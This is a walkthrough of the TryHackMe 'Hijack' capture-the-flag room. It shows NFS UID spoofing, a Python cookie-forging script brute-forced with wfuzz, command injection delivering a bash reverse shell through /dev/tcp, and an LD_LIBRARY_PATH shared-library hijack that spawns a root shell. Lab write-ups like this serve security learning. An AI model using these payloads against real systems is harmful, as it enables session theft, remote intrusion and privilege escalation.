This challange is offensive one and based of hijacking from TryHackMe
So, let’s start with nmap scan
$ nmap -sC -sV -oN scan.txt $IP
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:ee:e5:23:de:79:6a:8d:63:f0:48:b8:62:d9:d7:ab (RSA)
| 256 42:e9:55:1b:d3:f2:04:b6:43:b2:56:a3:23:46:72:c7 (ECDSA)
|_ 256 27:46:f6:54:44:98:43:2a:f0:59:ba:e3:b6:73:d3:90 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 35107/tcp mountd
| 100005 1,2,3 42780/tcp6 mountd
| 100005 1,2,3 47775/udp6 mountd
| 100005 1,2,3 59542/udp mountd
| 100021 1,3,4 33676/tcp6 nlockmgr
| 100021 1,3,4 41049/tcp nlockmgr
| 100021 1,3,4 46172/udp6 nlockmgr
| 100021 1,3,4 53469/udp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
2049/tcp open nfs 2-4 (RPC #100003)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
So, we have 4 services - ftp
, ssh
, rpcbind
, http
and nfs
I think we can start with nfs
- maybe there are any mounts for us
NFS enumeration
We can start with seeing what do we have to mount
$ showmount -e $IP
Export list for 10.10.124.164:
/mnt/share *
Okay, let’s mount it
$ mkdir share
$ sudo mount -t nfs $IP:/mnt/share share
But when we try to open it, we get denied access
But there is a option to bypass it - let’s see it’s privileges
$ ls -la
[...]
-rw-r--r-- 1 wizarddos wizarddos 1644 10-24 19:27 scan.txt
drwx------ 2 1003 1003 4096 08-08 21:28 share
It means, that this folder is owned by user with uid = 1003 - so we need to update our uid or create a new user with that uid
I’ve created a dummy one
switch to root and create a user
$ sudo su
[...]
# useradd 1003
And then edit /etc/passwd
# nano /etc/passwd
Find a user with name 1003
and change his line to this
1003:x:1003:1003::/home/1003:/bin/sh
Then we can easily access share
folder - let’s see it
$ su 1003
$ ls -la share
drwx------ 2 1003 1003 4096 08-08 21:28 .
drwxr-xr-x 3 wizarddos wizarddos 4096 10-24 19:35 ..
-rwx------ 1 1003 1003 46 08-08 21:28 for_employees.txt
There is one text file, let’s see it
$ cat for_employees.txt
ftp creds :
[REDACTED]
We have credentials for ftp
- That’s our next step
FTP enumeration
Log into ftp
$ ftp $IP
We are in - check content of it
ftp> ls -la
229 Entering Extended Passive Mode (|||40051|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 .
drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 ..
-rwxr-xr-x 1 1002 1002 220 Aug 08 19:28 .bash_logout
-rwxr-xr-x 1 1002 1002 3771 Aug 08 19:28 .bashrc
-rw-r--r-- 1 1002 1002 368 Aug 08 19:28 .from_admin.txt
-rw-r--r-- 1 1002 1002 3150 Aug 08 19:28 .passwords_list.txt
-rwxr-xr-x 1 1002 1002 655 Aug 08 19:28 .profile
Oh, we have a bit of interesting stuff here - let’s download .passwords_list.txt
and .from_admin.txt
- then we can exit ftp
ftp> get .passwords_list.txt
local: .passwords_list.txt remote: .passwords_list.txt
229 Entering Extended Passive Mode (|||63909|)
150 Opening BINARY mode data connection for .passwords_list.txt (3150 bytes).
100% |***********************************************************************| 3150 754.70 KiB/s 00:00 ETA
226 Transfer complete.
3150 bytes received in 00:00 (30.65 KiB/s)
ftp> get .from_admin.txt
local: .from_admin.txt remote: .from_admin.txt
229 Entering Extended Passive Mode (|||18581|)
150 Opening BINARY mode data connection for .from_admin.txt (368 bytes).
100% |***********************************************************************| 368 45.42 KiB/s 00:00 ETA
226 Transfer complete.
368 bytes received in 00:00 (3.45 KiB/s)
ftp> exit
Let’s see froma admin first
$ cat .from_admin.txt
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.
NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
So we may have 2 accounts rick
and admin
. But let’s check passwords_list.txt
I won’t be adding it here, but it looks like a bit of wordlist - save it and let’s check website now
Webstite enumeration
On website I’ve created a user with credentials user:user123
Then, I’ve logged in with it and something interesting happened
Instead of typical session id cookie I’ve had this base64 encoded string
dXNlcjo2YWQxNGJhOTk4NmUzNjE1NDIzZGZjYTI1NmQwNGUzZg%3D%3D
After decoding it gave me
user:6ad14ba9986e3615423dfca256d04e3f
It turns out - that hash is md5
of our password.
From author of this wonderful box I’ve got a code for preparing this cookies
import hashlib
import base64
# Open the file and read its lines
with open('.passwords_list.txt', 'r') as f:
lines = f.readlines()
# Loop through the lines and modify each one
for line in lines:
# Strip the line of bad characters
stripped_line = ''.join(filter(str.isalnum, line))
# Hash the stripped line using MD5
hashed_line = hashlib.md5(stripped_line.encode('utf-8')).hexdigest()
# Add "admin:" to the beginning of the hash
modified_hash = 'admin:' + hashed_line
# Encode the modified hash to base64
encoded_hash = base64.b64encode(modified_hash.encode('utf-8'))
# Print the encoded hash
print(encoded_hash.decode('ascii'))
I’ve edited a thing there - fixed the name of file. Then called it oven.py
(as it “bakes” cookies :) )
And run it
$ python3 oven.py
[base64 encoded cookies]
It looks like it works - let’s make a wordlist out of it
$ python3 oven.py > cookies.txt
Now, with wfuzz
we can get final session
$ wfuzz -u http://$IP/administration.php -w cookies.txt -X POST -b 'PHPSESSID= FUZZ' --hh 51
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.124.164/administration.php
Total requests: 150
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000082: 200 42 L 66 W 864 Ch [REDACTED]
Copy that payload and put it as PHPSESSIONID
cookie - then visit administration.php
- and we have it
We’ve successfully hijacked session
Now, we have input that checks state of services - luckily it doesn’t check &
symbol, so we can inject commands like id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Or a reverse shell - set up netcat listener
$ nc -lvnp 2137
And use this payload
& /bin/bash -c 'bash -i 1>& /dev/tcp/[YOUR IP]/2137 0>&1'
Then, after we get the shell - upgrade it
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
I’ve found one interesting thing is config.php
$ cat config.php
cat config.php
<?php
$servername = "localhost";
$username = "rick";
$password = "[REDACTED]";
$dbname = "hijack";
// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($mysqli->connect_error) {
die("Connection failed: " . $mysqli->connect_error);
}
?>
Didn’t we have user rick
? Let’s try to ssh to him
$ ssh rick@$IP
[...]
$
It works - get user flag
$ cat user.txt
[REDACTED]
And as always - last part
Privilege Escalation
Check what can we run as root
$ sudo -l
[sudo] password for rick:
Matching Defaults entries for rick on Hijack:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_LIBRARY_PATH
User rick may run the following commands on Hijack:
(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
One odd thing is this line
env_keep+=LD_LIBRARY_PATH
LD_LIBRARY_PATH
is a list of directories where script searches for shared libraries - so start with printing apache’s shared libraries
$ ldd /usr/sbin/apache2
linux-vdso.so.1 => (0x00007ffd7cb32000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fe1c7227000)
libaprutil-1.so.0 => /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0 (0x00007fe1c7000000)
libapr-1.so.0 => /usr/lib/x86_64-linux-gnu/libapr-1.so.0 (0x00007fe1c6dce000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe1c6bb1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe1c67e7000)
libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fe1c65af000)
libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007fe1c6386000)
libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007fe1c6181000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe1c5f7d000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe1c773c000)
Okay, our target will be libcrypt.so.1
file - in /tmp
create a new file called however you want - Mine is malware.c
$ touch malware.c
$ nano malware.c
Then, let’s enter malicious script here - I got it from this blog
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
Then, compile it
$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/rick/malware.c
And lastly - execute that specific command from sudo -l
results with changing LD_LIBRARY_PATH
to /tmp
So like this
$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
# whoami
root
Now, we can get root flag
# cat /root/root.txt
██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝
[REDACTED]
There is our last flag
And that’s it - machine pwned
Conclusion
I loved this room, really. I’ve learned a lot
So, I’ve learned a new PrivEsc technique, session hijacking and a new way to abuse nfs
That’s it - see you in the next writeups